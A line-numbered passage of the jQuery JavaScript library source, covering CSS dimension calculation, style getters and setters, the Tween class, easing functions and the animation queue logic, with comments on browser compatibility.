6632 if ( !isBorderBox && computedVal >= 0 ) {
6633
6634 // offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border
6635 // Assuming integer scroll gutter, subtract the rest and round down
6636 delta += Math.max( 0, Math.ceil(
6637 elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -
6638 computedVal -
6639 delta -
6640 extra -
6641 0.5
6642
6643 // If offsetWidth/offsetHeight is unknown, then we can't determine content-box scroll gutter
6644 // Use an explicit zero to avoid NaN (gh-3964)
6645 ) ) || 0;
6646 }
6647
6648 return delta + marginDelta;
6649}
6650
6651function getWidthOrHeight( elem, dimension, extra ) {
6652
6653 // Start with computed style
6654 var styles = getStyles( elem ),
6655
6656 // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-4322).
6657 // Fake content-box until we know it's needed to know the true value.
6658 boxSizingNeeded = !support.boxSizingReliable() || extra,
6659 isBorderBox = boxSizingNeeded &&
6660 jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
6661 valueIsBorderBox = isBorderBox,
6662
6663 val = curCSS( elem, dimension, styles ),
6664 offsetProp = "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 );
6665
6666 // Support: Firefox <=54
6667 // Return a confounding non-pixel value or feign ignorance, as appropriate.
6668 if ( rnumnonpx.test( val ) ) {
6669 if ( !extra ) {
6670 return val;
6671 }
6672 val = "auto";
6673 }
6674
6675
6676 // Support: IE 9 - 11 only
6677 // Use offsetWidth/offsetHeight for when box sizing is unreliable.
6678 // In those cases, the computed value can be trusted to be border-box.
6679 if ( ( !support.boxSizingReliable() && isBorderBox ||
6680
6681 // Support: IE 10 - 11+, Edge 15 - 18+
6682 // IE/Edge misreport `getComputedStyle` of table rows with width/height
6683 // set in CSS while `offset*` properties report correct values.
6684 // Interestingly, in some cases IE 9 doesn't suffer from this issue.
6685 !support.reliableTrDimensions() && nodeName( elem, "tr" ) ||
6686
6687 // Fall back to offsetWidth/offsetHeight when value is "auto"
6688 // This happens for inline elements with no explicit setting (gh-3571)
6689 val === "auto" ||
6690
6691 // Support: Android <=4.1 - 4.3 only
6692 // Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602)
6693 !parseFloat( val ) && jQuery.css( elem, "display", false, styles ) === "inline" ) &&
6694
6695 // Make sure the element is visible & connected
6696 elem.getClientRects().length ) {
6697
6698 isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box";
6699
6700 // Where available, offsetWidth/offsetHeight approximate border box dimensions.
6701 // Where not available (e.g., SVG), assume unreliable box-sizing and interpret the
6702 // retrieved value as a content box dimension.
6703 valueIsBorderBox = offsetProp in elem;
6704 if ( valueIsBorderBox ) {
6705 val = elem[ offsetProp ];
6706 }
6707 }
6708
6709 // Normalize "" and auto
6710 val = parseFloat( val ) || 0;
6711
6712 // Adjust for the element's box model
6713 return ( val +
6714 boxModelAdjustment(
6715 elem,
6716 dimension,
6717 extra || ( isBorderBox ? "border" : "content" ),
6718 valueIsBorderBox,
6719 styles,
6720
6721 // Provide the current computed size to request scroll gutter calculation (gh-3589)
6722 val
6723 )
6724 ) + "px";
6725}
6726
6727jQuery.extend( {
6728
6729 // Add in style property hooks for overriding the default
6730 // behavior of getting and setting a style property
6731 cssHooks: {
6732 opacity: {
6733 get: function( elem, computed ) {
6734 if ( computed ) {
6735
6736 // We should always get a number back from opacity
6737 var ret = curCSS( elem, "opacity" );
6738 return ret === "" ? "1" : ret;
6739 }
6740 }
6741 }
6742 },
6743
6744 // Don't automatically add "px" to these possibly-unitless properties
6745 cssNumber: {
6746 animationIterationCount: true,
6747 aspectRatio: true,
6748 borderImageSlice: true,
6749 columnCount: true,
6750 flexGrow: true,
6751 flexShrink: true,
6752 fontWeight: true,
6753 gridArea: true,
6754 gridColumn: true,
6755 gridColumnEnd: true,
6756 gridColumnStart: true,
6757 gridRow: true,
6758 gridRowEnd: true,
6759 gridRowStart: true,
6760 lineHeight: true,
6761 opacity: true,
6762 order: true,
6763 orphans: true,
6764 scale: true,
6765 widows: true,
6766 zIndex: true,
6767 zoom: true,
6768
6769 // SVG-related
6770 fillOpacity: true,
6771 floodOpacity: true,
6772 stopOpacity: true,
6773 strokeMiterlimit: true,
6774 strokeOpacity: true
6775 },
6776
6777 // Add in properties whose names you wish to fix before
6778 // setting or getting the value
6779 cssProps: {},
6780
6781 // Get and set the style property on a DOM Node
6782 style: function( elem, name, value, extra ) {
6783
6784 // Don't set styles on text and comment nodes
6785 if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
6786 return;
6787 }
6788
6789 // Make sure that we're working with the right name
6790 var ret, type, hooks,
6791 origName = camelCase( name ),
6792 isCustomProp = rcustomProp.test( name ),
6793 style = elem.style;
6794
6795 // Make sure that we're working with the right name. We don't
6796 // want to query the value if it is a CSS custom property
6797 // since they are user-defined.
6798 if ( !isCustomProp ) {
6799 name = finalPropName( origName );
6800 }
6801
6802 // Gets hook for the prefixed version, then unprefixed version
6803 hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
6804
6805 // Check if we're setting a value
6806 if ( value !== undefined ) {
6807 type = typeof value;
6808
6809 // Convert "+=" or "-=" to relative numbers (trac-7345)
6810 if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {
6811 value = adjustCSS( elem, name, ret );
6812
6813 // Fixes bug trac-9237
6814 type = "number";
6815 }
6816
6817 // Make sure that null and NaN values aren't set (trac-7116)
6818 if ( value == null || value !== value ) {
6819 return;
6820 }
6821
6822 // If a number was passed in, add the unit (except for certain CSS properties)
6823 // The isCustomProp check can be removed in jQuery 4.0 when we only auto-append
6824 // "px" to a few hardcoded values.
6825 if ( type === "number" && !isCustomProp ) {
6826 value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" );
6827 }
6828
6829 // background-* props affect original clone's values
6830 if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) {
6831 style[ name ] = "inherit";
6832 }
6833
6834 // If a hook was provided, use that value, otherwise just set the specified value
6835 if ( !hooks || !( "set" in hooks ) ||
6836 ( value = hooks.set( elem, value, extra ) ) !== undefined ) {
6837
6838 if ( isCustomProp ) {
6839 style.setProperty( name, value );
6840 } else {
6841 style[ name ] = value;
6842 }
6843 }
6844
6845 } else {
6846
6847 // If a hook was provided get the non-computed value from there
6848 if ( hooks && "get" in hooks &&
6849 ( ret = hooks.get( elem, false, extra ) ) !== undefined ) {
6850
6851 return ret;
6852 }
6853
6854 // Otherwise just get the value from the style object
6855 return style[ name ];
6856 }
6857 },
6858
6859 css: function( elem, name, extra, styles ) {
6860 var val, num, hooks,
6861 origName = camelCase( name ),
6862 isCustomProp = rcustomProp.test( name );
6863
6864 // Make sure that we're working with the right name. We don't
6865 // want to modify the value if it is a CSS custom property
6866 // since they are user-defined.
6867 if ( !isCustomProp ) {
6868 name = finalPropName( origName );
6869 }
6870
6871 // Try prefixed name followed by the unprefixed name
6872 hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
6873
6874 // If a hook was provided get the computed value from there
6875 if ( hooks && "get" in hooks ) {
6876 val = hooks.get( elem, true, extra );
6877 }
6878
6879 // Otherwise, if a way to get the computed value exists, use that
6880 if ( val === undefined ) {
6881 val = curCSS( elem, name, styles );
6882 }
6883
6884 // Convert "normal" to computed value
6885 if ( val === "normal" && name in cssNormalTransform ) {
6886 val = cssNormalTransform[ name ];
6887 }
6888
6889 // Make numeric if forced or a qualifier was provided and val looks numeric
6890 if ( extra === "" || extra ) {
6891 num = parseFloat( val );
6892 return extra === true || isFinite( num ) ? num || 0 : val;
6893 }
6894
6895 return val;
6896 }
6897} );
6898
6899jQuery.each( [ "height", "width" ], function( _i, dimension ) {
6900 jQuery.cssHooks[ dimension ] = {
6901 get: function( elem, computed, extra ) {
6902 if ( computed ) {
6903
6904 // Certain elements can have dimension info if we invisibly show them
6905 // but it must have a current display style that would benefit
6906 return rdisplayswap.test( jQuery.css( elem, "display" ) ) &&
6907
6908 // Support: Safari 8+
6909 // Table columns in Safari have non-zero offsetWidth & zero
6910 // getBoundingClientRect().width unless display is changed.
6911 // Support: IE <=11 only
6912 // Running getBoundingClientRect on a disconnected node
6913 // in IE throws an error.
6914 ( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ?
6915 swap( elem, cssShow, function() {
6916 return getWidthOrHeight( elem, dimension, extra );
6917 } ) :
6918 getWidthOrHeight( elem, dimension, extra );
6919 }
6920 },
6921
6922 set: function( elem, value, extra ) {
6923 var matches,
6924 styles = getStyles( elem ),
6925
6926 // Only read styles.position if the test has a chance to fail
6927 // to avoid forcing a reflow.
6928 scrollboxSizeBuggy = !support.scrollboxSize() &&
6929 styles.position === "absolute",
6930
6931 // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-3991)
6932 boxSizingNeeded = scrollboxSizeBuggy || extra,
6933 isBorderBox = boxSizingNeeded &&
6934 jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
6935 subtract = extra ?
6936 boxModelAdjustment(
6937 elem,
6938 dimension,
6939 extra,
6940 isBorderBox,
6941 styles
6942 ) :
6943 0;
6944
6945 // Account for unreliable border-box dimensions by comparing offset* to computed and
6946 // faking a content-box to get border and padding (gh-3699)
6947 if ( isBorderBox && scrollboxSizeBuggy ) {
6948 subtract -= Math.ceil(
6949 elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -
6950 parseFloat( styles[ dimension ] ) -
6951 boxModelAdjustment( elem, dimension, "border", false, styles ) -
6952 0.5
6953 );
6954 }
6955
6956 // Convert to pixels if value adjustment is needed
6957 if ( subtract && ( matches = rcssNum.exec( value ) ) &&
6958 ( matches[ 3 ] || "px" ) !== "px" ) {
6959
6960 elem.style[ dimension ] = value;
6961 value = jQuery.css( elem, dimension );
6962 }
6963
6964 return setPositiveNumber( elem, value, subtract );
6965 }
6966 };
6967} );
6968
6969jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,
6970 function( elem, computed ) {
6971 if ( computed ) {
6972 return ( parseFloat( curCSS( elem, "marginLeft" ) ) ||
6973 elem.getBoundingClientRect().left -
6974 swap( elem, { marginLeft: 0 }, function() {
6975 return elem.getBoundingClientRect().left;
6976 } )
6977 ) + "px";
6978 }
6979 }
6980);
6981
6982// These hooks are used by animate to expand properties
6983jQuery.each( {
6984 margin: "",
6985 padding: "",
6986 border: "Width"
6987}, function( prefix, suffix ) {
6988 jQuery.cssHooks[ prefix + suffix ] = {
6989 expand: function( value ) {
6990 var i = 0,
6991 expanded = {},
6992
6993 // Assumes a single number if not a string
6994 parts = typeof value === "string" ? value.split( " " ) : [ value ];
6995
6996 for ( ; i < 4; i++ ) {
6997 expanded[ prefix + cssExpand[ i ] + suffix ] =
6998 parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
6999 }
7000
7001 return expanded;
7002 }
7003 };
7004
7005 if ( prefix !== "margin" ) {
7006 jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
7007 }
7008} );
7009
7010jQuery.fn.extend( {
7011 css: function( name, value ) {
7012 return access( this, function( elem, name, value ) {
7013 var styles, len,
7014 map = {},
7015 i = 0;
7016
7017 if ( Array.isArray( name ) ) {
7018 styles = getStyles( elem );
7019 len = name.length;
7020
7021 for ( ; i < len; i++ ) {
7022 map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );
7023 }
7024
7025 return map;
7026 }
7027
7028 return value !== undefined ?
7029 jQuery.style( elem, name, value ) :
7030 jQuery.css( elem, name );
7031 }, name, value, arguments.length > 1 );
7032 }
7033} );
7034
7035
7036function Tween( elem, options, prop, end, easing ) {
7037 return new Tween.prototype.init( elem, options, prop, end, easing );
7038}
7039jQuery.Tween = Tween;
7040
7041Tween.prototype = {
7042 constructor: Tween,
7043 init: function( elem, options, prop, end, easing, unit ) {
7044 this.elem = elem;
7045 this.prop = prop;
7046 this.easing = easing || jQuery.easing._default;
7047 this.options = options;
7048 this.start = this.now = this.cur();
7049 this.end = end;
7050 this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
7051 },
7052 cur: function() {
7053 var hooks = Tween.propHooks[ this.prop ];
7054
7055 return hooks && hooks.get ?
7056 hooks.get( this ) :
7057 Tween.propHooks._default.get( this );
7058 },
7059 run: function( percent ) {
7060 var eased,
7061 hooks = Tween.propHooks[ this.prop ];
7062
7063 if ( this.options.duration ) {
7064 this.pos = eased = jQuery.easing[ this.easing ](
7065 percent, this.options.duration * percent, 0, 1, this.options.duration
7066 );
7067 } else {
7068 this.pos = eased = percent;
7069 }
7070 this.now = ( this.end - this.start ) * eased + this.start;
7071
7072 if ( this.options.step ) {
7073 this.options.step.call( this.elem, this.now, this );
7074 }
7075
7076 if ( hooks && hooks.set ) {
7077 hooks.set( this );
7078 } else {
7079 Tween.propHooks._default.set( this );
7080 }
7081 return this;
7082 }
7083};
7084
7085Tween.prototype.init.prototype = Tween.prototype;
7086
7087Tween.propHooks = {
7088 _default: {
7089 get: function( tween ) {
7090 var result;
7091
7092 // Use a property on the element directly when it is not a DOM element,
7093 // or when there is no matching style property that exists.
7094 if ( tween.elem.nodeType !== 1 ||
7095 tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {
7096 return tween.elem[ tween.prop ];
7097 }
7098
7099 // Passing an empty string as a 3rd parameter to .css will automatically
7100 // attempt a parseFloat and fallback to a string if the parse fails.
7101 // Simple values such as "10px" are parsed to Float;
7102 // complex values such as "rotate(1rad)" are returned as-is.
7103 result = jQuery.css( tween.elem, tween.prop, "" );
7104
7105 // Empty strings, null, undefined and "auto" are converted to 0.
7106 return !result || result === "auto" ? 0 : result;
7107 },
7108 set: function( tween ) {
7109
7110 // Use step hook for back compat.
7111 // Use cssHook if its there.
7112 // Use .style if available and use plain properties where available.
7113 if ( jQuery.fx.step[ tween.prop ] ) {
7114 jQuery.fx.step[ tween.prop ]( tween );
7115 } else if ( tween.elem.nodeType === 1 && (
7116 jQuery.cssHooks[ tween.prop ] ||
7117 tween.elem.style[ finalPropName( tween.prop ) ] != null ) ) {
7118 jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
7119 } else {
7120 tween.elem[ tween.prop ] = tween.now;
7121 }
7122 }
7123 }
7124};
7125
7126// Support: IE <=9 only
7127// Panic based approach to setting things on disconnected nodes
7128Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
7129 set: function( tween ) {
7130 if ( tween.elem.nodeType && tween.elem.parentNode ) {
7131 tween.elem[ tween.prop ] = tween.now;
7132 }
7133 }
7134};
7135
7136jQuery.easing = {
7137 linear: function( p ) {
7138 return p;
7139 },
7140 swing: function( p ) {
7141 return 0.5 - Math.cos( p * Math.PI ) / 2;
7142 },
7143 _default: "swing"
7144};
7145
7146jQuery.fx = Tween.prototype.init;
7147
7148// Back compat <1.8 extension point
7149jQuery.fx.step = {};
7150
7151
7152
7153
7154var
7155 fxNow, inProgress,
7156 rfxtypes = /^(?:toggle|show|hide)$/,
7157 rrun = /queueHooks$/;
7158
7159function schedule() {
7160 if ( inProgress ) {
7161 if ( document.hidden === false && window.requestAnimationFrame ) {
7162 window.requestAnimationFrame( schedule );
7163 } else {
7164 window.setTimeout( schedule, jQuery.fx.interval );
7165 }
7166
7167 jQuery.fx.tick();
7168 }
7169}
7170
7171// Animations created synchronously will run synchronously
7172function createFxNow() {
7173 window.setTimeout( function() {
7174 fxNow = undefined;
7175 } );
7176 return ( fxNow = Date.now() );
7177}
7178
7179// Generate parameters to create a standard animation
7180function genFx( type, includeWidth ) {
7181 var which,
7182 i = 0,
7183 attrs = { height: type };
7184
7185 // If we include width, step value is 1 to do all cssExpand values,
7186 // otherwise step value is 2 to skip over Left and Right
7187 includeWidth = includeWidth ? 1 : 0;
7188 for ( ; i < 4; i += 2 - includeWidth ) {
7189 which = cssExpand[ i ];
7190 attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
7191 }
7192
7193 if ( includeWidth ) {
7194 attrs.opacity = attrs.width = type;
7195 }
7196
7197 return attrs;
7198}
7199
7200function createTween( value, prop, animation ) {
7201 var tween,
7202 collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ),
7203 index = 0,
7204 length = collection.length;
7205 for ( ; index < length; index++ ) {
7206 if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {
7207
7208 // We're done with this property
7209 return tween;
7210 }
7211 }
7212}
7213
7214function defaultPrefilter( elem, props, opts ) {
7215 var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display,
7216 isBox = "width" in props || "height" in props,
7217 anim = this,
7218 orig = {},
7219 style = elem.style,
7220 hidden = elem.nodeType && isHiddenWithinTree( elem ),
7221 dataShow = dataPriv.get( elem, "fxshow" );
7222
7223 // Queue-skipping animations hijack the fx hooks
7224 if ( !opts.queue ) {
7225 hooks = jQuery._queueHooks( elem, "fx" );
7226 if ( hooks.unqueued == null ) {
7227 hooks.unqueued = 0;
7228 oldfire = hooks.empty.fire;
7229 hooks.empty.fire = function() {
7230 if ( !hooks.unqueued ) {
7231 oldfire();
7232 }
7233 };
7234 }
7235 hooks.unqueued++;
7236
7237 anim.always( function() {
7238
7239 // Ensure the complete handler is called before this completes
7240 anim.always( function() {
7241 hooks.unqueued--;
7242 if ( !jQuery.queue( elem, "fx" ).length ) {
7243 hooks.empty.fire();
7244 }
7245 } );
7246 } );
7247 }
7248
7249 // Detect show/hide animations
7250 for ( prop in props ) {
7251 value = props[ prop ];
7252 if ( rfxtypes.test( value ) ) {
7253 delete props[ prop ];
7254 toggle = toggle || value === "toggle";
7255 if ( value === ( hidden ? "hide" : "show" ) ) {
7256
7257 // Pretend to be hidden if this is a "show" and
7258 // there is still data from a stopped show/hide
7259 if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) {
7260 hidden = true;
7261
7262 // Ignore all other no-op show/hide data
7263 } else {
7264 continue;
7265 }
7266 }
7267 orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );
7268 }
7269 }
7270
7271 // Bail out if this is a no-op like .hide().hide()
7272 propTween = !jQuery.isEmptyObject( props );
7273 if ( !propTween && jQuery.isEmptyObject( orig ) ) {
7274 return;
7275 }
7276
7277 // Restrict "overflow" and "display" styles during box animations
7278 if ( isBox && elem.nodeType === 1 ) {
7279
7280 // Support: IE <=9 - 11, Edge 12 - 15
7281 // Record all 3 overflow attributes because IE does not infer the shorthand
7282 // from identically-valued overflowX and overflowY and Edge just mirrors
7283 // the overflowX value there.
7284 opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];
7285
7286 // Identify a display type, preferring old show/hide data over the CSS cascade
7287 restoreDisplay = dataShow && dataShow.display;
7288 if ( restoreDisplay == null ) {
7289 restoreDisplay = dataPriv.get( elem, "display" );
7290 }
7291 display = jQuery.css( elem, "display" );
7292 if ( display === "none" ) {
7293 if ( restoreDisplay ) {
7294 display = restoreDisplay;
7295 } else {
7296
7297 // Get nonempty value(s) by temporarily forcing visibility
7298 showHide( [ elem ], true );
7299 restoreDisplay = elem.style.display || restoreDisplay;
7300 display = jQuery.css( elem, "display" );
7301 showHide( [ elem ] );
7302 }
7303 }
7304
7305 // Animate inline elements as inline-block
7306 if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) {
7307 if ( jQuery.css( elem, "float" ) === "none" ) {
7308
7309 // Restore the original display value at the end of pure show/hide animations
7310 if ( !propTween ) {
7311 anim.done( function() {
7312 style.display = restoreDisplay;
7313 } );
7314 if ( restoreDisplay == null ) {
7315 display = style.display;
7316 restoreDisplay = display === "none" ? "" : display;
7317 }
7318 }
7319 style.display = "inline-block";
7320 }
7321 }
7322 }
7323
7324 if ( opts.overflow ) {
7325 style.overflow = "hidden";
7326 anim.always( function() {
7327 style.overflow = opts.overflow[ 0 ];
7328 style.overflowX = opts.overflow[ 1 ];
7329 style.overflowY = opts.overflow[ 2 ];
7330 } );
7331 }
7332
7333 // Implement show/hide animations
7334 propTween = false;
7335 for ( prop in orig ) {
7336
7337 // General show/hide setup for this element animation
7338 if ( !propTween ) {
7339 if ( dataShow ) {
7340 if ( "hidden" in dataShow ) {
7341 hidden = dataShow.hidden;
7342 }
7343 } else {
7344 dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } );
7345 }
7346
7347 // Store hidden/visible for toggle so `.stop().toggle()` "reverses"
7348 if ( toggle ) {
7349 dataShow.hidden = !hidden;
7350 }
7351
7352 // Show elements before animating them
7353 if ( hidden ) {
7354 showHide( [ elem ], true );
7355 }
7356
7357 /* eslint-disable no-loop-func */
7358
7359 anim.done( function() {
7360
7361 /* eslint-enable no-loop-func */
7362
7363 // The final step of a "hide" animation is actually hiding the element
7364 if ( !hidden ) {
7365 showHide( [ elem ] );
7366 }
7367 dataPriv.remove( elem, "fxshow" );
7368 for ( prop in orig ) {
7369 jQuery.style( elem, prop, orig[ prop ] );
7370 }
7371 } );
7372 }
7373
7374 // Per-property setup
7375 propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );
7376 if ( !( prop in dataShow ) ) {
7377 dataShow[ prop ] = propTween.start;
7378 if ( hidden ) {
7379 propTween.end = propTween.start;
7380 propTween.start = 0;
7381 }
7382 }
7383 }
7384}
7385
7386function propFilter( props, specialEasing ) {
7387 var index, name, easing, value, hooks;
7388
7389 // camelCase, specialEasing and expand cssHook pass
7390 for ( index in props ) {
7391 name = camelCase( index );
7392 easing = specialEasing[ name ];
7393 value = props[ index ];
7394 if ( Array.isArray( value ) ) {
7395 easing = value[ 1 ];
7396 value = props[ index ] = value[ 0 ];
7397 }
7398
7399 if ( index !== name ) {
7400 props[ name ] = value;
7401 delete props[ index ];
7402 }
7403
7404 hooks = jQuery.cssHooks[ name ];
7405 if ( hooks && "expand" in hooks ) {
7406 value = hooks.expand( value );
7407 delete props[ name ];
7408
7409 // Not quite $.extend, this won't overwrite existing keys.
7410 // Reusing 'index' because we have the correct "name"
7411 for ( index in value ) {
7412 if ( !( index in props ) ) {
7413 props[ index ] = value[ index ];
7414 specialEasing[ index ] = easing;
7415 }
7416 }
7417 } else {
7418 specialEasing[ name ] = easing;
7419 }
7420 }
7421}
7422
7423function Animation( elem, properties, options ) {
7424 var result,
7425 stopped,
7426 index = 0,
7427 length = Animation.prefilters.length,
7428 deferred = jQuery.Deferred().always( function() {
7429
7430 // Don't match elem in the :animated selector
7431 delete tick.elem;
7432 } ),
7433 tick = function() {
7434 if ( stopped ) {
7435 return false;
7436 }
7437 var currentTime = fxNow || createFxNow(),
7438 remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),
7439
7440 // Support: Android 2.3 only
7441 // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (trac-12497)
7442 temp = remaining / animation.duration || 0,
7443 percent = 1 - temp,
7444 index = 0,
7445 length = animation.tweens.length;
7446
7447 for ( ; index < length; index++ ) {
7448 animation.tweens[ index ].run( percent );
7449 }
7450
7451 deferred.notifyWith( elem, [ animation, percent, remaining ] );
7452
7453 // If there's more to do, yield
7454 if ( percent < 1 && length ) {
7455 return remaining;
7456 }
7457
7458 // If this was an empty animation, synthesize a final progress notification
7459 if ( !length ) {
7460 deferred.notifyWith( elem, [ animation, 1, 0 ] );
7461 }
7462
7463 // Resolve the animation and report its conclusion
7464 deferred.resolveWith( elem, [ animation ] );
7465 return false;
7466 },
7467 animation = deferred.promise( {
7468 elem: elem,
7469 props: jQuery.extend( {}, properties ),
7470 opts: jQuery.extend( true, {
7471 specialEasing: {},
7472 easing: jQuery.easing._default
7473 }, options ),
7474 originalProperties: properties,
7475 originalOptions: options,
7476 startTime: fxNow || createFxNow(),
7477 duration: options.duration,
7478 tweens: [],
7479 createTween: function( prop, end ) {
7480 var tween = jQuery.Tween( elem, animation.opts, prop, end,
7481 animation.opts.specialEasing[ prop ] || animation.opts.easing );
7482 animation.tweens.push( tween );
7483 return tween;
7484 },
7485 stop: function( gotoEnd ) {
7486 var index = 0,
7487
7488 // If we are going to the end, we want to run all the tweens
7489 // otherwise we skip this part
7490 length = gotoEnd ? animation.tweens.length : 0;
7491 if ( stopped ) {
7492 return this;
7493 }
7494 stopped = true;
7495 for ( ; index < length; index++ ) {
7496 animation.tweens[ index ].run( 1 );
7497 }
7498
7499 // Resolve when we played the last frame; otherwise, reject
7500 if ( gotoEnd ) {
7501 deferred.notifyWith( elem, [ animation, 1, 0 ] );
7502 deferred.resolveWith( elem, [ animation, gotoEnd ] );
7503 } else {
7504 deferred.rejectWith( elem, [ animation, gotoEnd ] );
7505 }
7506 return this;
7507 }
7508 } ),
7509 props = animation.props;
7510
7511 propFilter( props, animation.opts.specialEasing );
7512
7513 for ( ; index < length; index++ ) {
7514 result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );
7515 if ( result ) {
7516 if ( isFunction( result.stop ) ) {
7517 jQuery._queueHooks( animation.elem, animation.opts.queue ).stop =
7518 result.stop.bind( result );
7519 }
7520 return result;
7521 }
7522 }
7523
7524 jQuery.map( props, createTween, animation );
7525
7526 if ( isFunction( animation.opts.start ) ) {
7527 animation.opts.start.call( elem, animation );
7528 }
7529
7530 // Attach callbacks from options
7531 animation
7532 .progress( animation.opts.progress )
7533 .done( animation.opts.done, animation.opts.complete )
7534 .fail( animation.opts.fail )
7535 .always( animation.opts.always );
7536
7537 jQuery.fx.timer(
7538 jQuery.extend( tick, {
7539 elem: elem,
7540 anim: animation,
7541 queue: animation.opts.queue
7542 } )
7543 );
7544
7545 return animation;
7546}
7547
7548jQuery.Animation = jQuery.extend( Animation, {
7549
7550 tweeners: {
7551 "*": [ function( prop, value ) {
7552 var tween = this.createTween( prop, value );
7553 adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );
7554 return tween;
7555 } ]
7556 },
7557
7558 tweener: function( props, callback ) {
7559 if ( isFunction( props ) ) {
7560 callback = props;
7561 props = [ "*" ];
7562 } else {
7563 props = props.match( rnothtmlwhite );
7564 }
7565
7566 var prop,
7567 index = 0,
7568 length = props.length;
7569
7570 for ( ; index < length; index++ ) {
7571 prop = props[ index ];
7572 Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];
7573 Animation.tweeners[ prop ].unshift( callback );
7574 }
7575 },
7576
7577 prefilters: [ defaultPrefilter ],
7578
7579 prefilter: function( callback, prepend ) {
7580 if ( prepend ) {
7581 Animation.prefilters.unshift( callback );
7582 } else {
7583 Animation.prefilters.push( callback );
7584 }
7585 }
7586} );
7587
7588jQuery.speed = function( speed, easing, fn ) {
7589 var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
7590 complete: fn || !fn && easing ||
7591 isFunction( speed ) && speed,
7592 duration: speed,
7593 easing: fn && easing || easing && !isFunction( easing ) && easing
7594 };
7595
7596 // Go to the end state if fx are off
7597 if ( jQuery.fx.off ) {
7598 opt.duration = 0;
7599
7600 } else {
7601 if ( typeof opt.duration !== "number" ) {
7602 if ( opt.duration in jQuery.fx.speeds ) {
7603 opt.duration = jQuery.fx.speeds[ opt.duration ];
7604
7605 } else {
7606 opt.duration = jQuery.fx.speeds._default;
7607 }
7608 }
7609 }
7610
7611 // Normalize opt.queue - true/undefined/null -> "fx"
7612 if ( opt.queue == null || opt.queue === true ) {
7613 opt.queue = "fx";
7614 }
7615
7616 // Queueing
7617 opt.old = opt.complete;
7618
7619 opt.complete = function() {
7620 if ( isFunction( opt.old ) ) {
7621 opt.old.call( this );
7622 }
7623
7624 if ( opt.queue ) {
7625 jQuery.dequeue( this, opt.queue );
7626 }
7627 };
7628
7629 return opt;
7630};
7631
7632jQuery.fn.extend( {
7633 fadeTo: function( speed, to, easing, callback ) {
7634
7635 // Show any hidden elements after setting opacity to 0
7636 return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show()
7637
7638 // Animate to the value specified
7639 .end().animate( { opacity: to }, speed, easing, callback );
7640 },
7641 animate: function( prop, speed, easing, callback ) {
7642 var empty = jQuery.isEmptyObject( prop ),
7643 optall = jQuery.speed( speed, easing, callback ),
7644 doAnimation = function() {
7645
7646 // Operate on a copy of prop so per-property easing won't be lost
7647 var anim = Animation( this, jQuery.extend( {}, prop ), optall );
7648
7649 // Empty animations, or finishing resolves immediately
7650 if ( empty || dataPriv.get( this, "finish" ) ) {
7651 anim.stop( true );
7652 }
7653 };
7654
7655 doAnimation.finish = doAnimation;
7656
7657 return empty || optall.queue === false ?
7658 this.each( doAnimation ) :
7659 this.queue( optall.queue, doAnimation );
7660 },
7661 stop: function( type, clearQueue, gotoEnd ) {
7662 var stopQueue = function( hooks ) {
7663 var stop = hooks.stop;
7664 delete hooks.stop;
7665 stop( gotoEnd );
7666 };
7667
7668 if ( typeof type !== "string" ) {
7669 gotoEnd = clearQueue;
7670 clearQueue = type;
7671 type = undefined;
7672 }
7673 if ( clearQueue ) {
7674 this.queue( type || "fx", [] );
7675 }
7676
7677 return this.each( function() {
7678 var dequeue = true,
7679 index = type != null && type + "queueHooks",
7680 timers = jQuery.timers,
7681 data = dataPriv.get( this );
7682
7683 if ( index ) {
7684 if ( data[ index ] && data[ index ].stop ) {
7685 stopQueue( data[ index ] );
7686 }
7687 } else {
7688 for ( index in data ) {
7689 if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
7690 stopQueue( data[ index ] );
7691 }
7692 }
7693 }
7694
7695 for ( index = timers.length; index--; ) {
7696 if ( timers[ index ].elem === this &&
7697 ( type == null || timers[ index ].queue === type ) ) {
7698
7699 timers[ index ].anim.stop( gotoEnd );
7700 dequeue = false;
7701 timers.splice( index, 1 );
7702 }
7703 }
7704
7705 // Start the next in the queue if the last step wasn't forced.
7706 // Timers currently will call their complete callbacks, which
